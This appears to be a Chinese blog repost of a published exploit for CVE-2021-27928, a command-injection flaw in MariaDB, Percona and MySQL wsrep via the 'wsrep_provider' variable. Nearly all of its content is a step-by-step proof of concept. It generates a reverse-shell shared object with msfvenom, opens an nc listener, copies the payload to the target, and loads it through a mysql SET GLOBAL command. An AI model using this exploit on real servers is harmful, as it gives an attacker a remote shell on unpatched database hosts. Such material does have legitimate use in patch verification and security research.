CVE-2021-27928_MariaDB_10.2__MySQL_-_’wsrep_provider’_命令注入漏洞

# CVE-2021-27928 MariaDB 10.2 /MySQL – ‘wsrep provider’ 命令注入漏洞
==EXP==

# Exploit Title: MariaDB 10.2 /MySQL - 'wsrep_provider' OS Command Execution
# Date: 03/18/2021
# Exploit Author: Central InfoSec
# Version: MariaDB 10.2 before 10.2.37, 10.3 before 10.3.28, 10.4 before 10.4.18, and 10.5 before 10.5.9; Percona Server through 2021-03-03; and the wsrep patch through 2021-03-03 for MySQL
# Tested on: Linux
# CVE : CVE-2021-27928

# Proof of Concept:

# Create the reverse shell payload
msfvenom -p linux/x64/shell_reverse_tcp LHOST= LPORT= -f elf-so -o CVE-2021-27928.so

# Start a listener
nc -lvp 

# Copy the payload to the target machine (In this example, SCP/SSH is used)
scp CVE-2021-27928.so @:/tmp/CVE-2021-27928.so

# Execute the payload
mysql -u  -p -h  -e 'SET GLOBAL wsrep_provider="/tmp/CVE-2021-27928.so";'
© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容